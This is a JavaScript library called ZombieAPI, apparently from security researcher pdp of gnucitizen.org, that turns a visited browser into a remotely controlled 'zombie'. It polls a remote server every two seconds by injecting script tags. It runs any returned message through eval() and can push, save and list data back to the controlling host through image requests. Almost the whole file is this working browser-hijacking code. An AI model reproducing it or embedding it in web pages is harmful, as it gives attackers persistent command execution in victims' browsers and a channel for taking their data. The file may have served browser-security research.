/* prevent execution of ZombieAPI if included more then once */
if(window.ZombieAPI == undefined) {

var ZombieAPI = {
	version: '2.0a',
	author: 'Petko Petkov | pdp (architect)',
	homepage: 'http://www.gnucitizen.org'};

if (ZombieAPI.channels == undefined)
	ZombieAPI.channels = new Object();

ZombieAPI.channel = function (location, referrer) {
	function __do_script_request(location) {
		var script = document.createElement('script');
		script.defer = true;
		script.type = 'text/javascript';
		script.src = location + '&__request=' + escape(Math.random() + '-' + Math.random());
		script.onload = script.onerror = function () {
			document.body.removeChild(script);
		};
		
		document.body.appendChild(script);		
	}
	
	function __do_image_request(location) {
		var request = new Image();
		request.src = location + '&__request=' + escape(Math.random() + '-' + Math.random());
	}
	
	function __make_list(obj) {
		if (obj.join)
			return obj.join(',');
			
		return obj;
	}
	
	var channel = {
		index: ZombieAPI.channels.length,
		location: location,
		referrer: (referrer == undefined)?document.location:referrer};
		
	channel.onpush = channel.onlist = channel.onenum = channel.onview = channel.onself = channel.onsave = function (){ return true };
	channel.onpull = function (message) {
		eval(message);
	};
	channel.pull = function () {
		__do_script_request(channel.location + '?action=pull&callback=ZombieAPI.channels.channel' + channel.index + '.onpull') + '&referrer=' + escape(channel.referrer);
		return true;
	};
	channel.push = function (client, message, target) {
		if (!channel.onpush(client, message))
			return false;
			
		__do_image_request(channel.location + '?action=push&client=' + escape(__make_list(client)) + '&message=' + escape(message) + ((target == undefined)?'':'&target=' + escape(target))) + '&referrer=' + escape(channel.referrer);
		return true;
	};
	channel.list = function () {
		__do_script_request(channel.location + '?action=list&callback=ZombieAPI.channels.channel' + channel.index + '.onlist') + '&referrer=' + escape(channel.referrer);
		return true;
	};
	channel.enum = function () {
		__do_script_request(channel.location + '?action=enum&callback=ZombieAPI.channels.channel' + channel.index + '.onenum') + '&referrer=' + escape(channel.referrer);
		return true;
	};
	channel.view = function (client) {
		__do_script_request(channel.location + '?action=view&client=' + escape(__make_list(client)) + '&callback=ZombieAPI.channels.channel' + channel.index + '.onview') + '&referrer=' + escape(channel.referrer);
		return true;
	};
	channel.self = function () {
		__do_script_request(channel.location + '?action=self&callback=ZombieAPI.channels.channel' + channels.index + '.onself') + '&referrer=' + escape(channel.referrer);
		return true;
	};
	channel.save = function (client, name, value) {
		if (!channel.onsave(client, name, value))
			return false;
			
		__do_image_request(channel.location + '?action=save&client=' + escape(__make_list(client)) + '&name=' + escape(name) + '&value=' + escape(value)) + '&referrer=' + escape(channel.referrer);
		return true;
	};
	
	ZombieAPI.channels['channel' + channel.index] = channel;
	return channel;
};

ZombieAPI.zombie = function (location, interval) {
	var zombie = {
		timer: null,
		interval: (interval == undefined)?2000:interval,
		channel: ZombieAPI.channel(location),
		
		start: function () {
			zombie.stop();
			zombie.timer = window.setInterval(zombie.channel.pull, zombie.interval);
		},
		
		stop: function () {
			window.clearInterval(zombie.timer);			
		}};
		
	return zombie;
};

ZombieAPI.zombify = function (location, interval) {
	ZombieAPI.zombie(location, interval).start();
};

/* hook on $Z */
if ($Z == undefined)
	var $Z = ZombieAPI;

}
/* the end */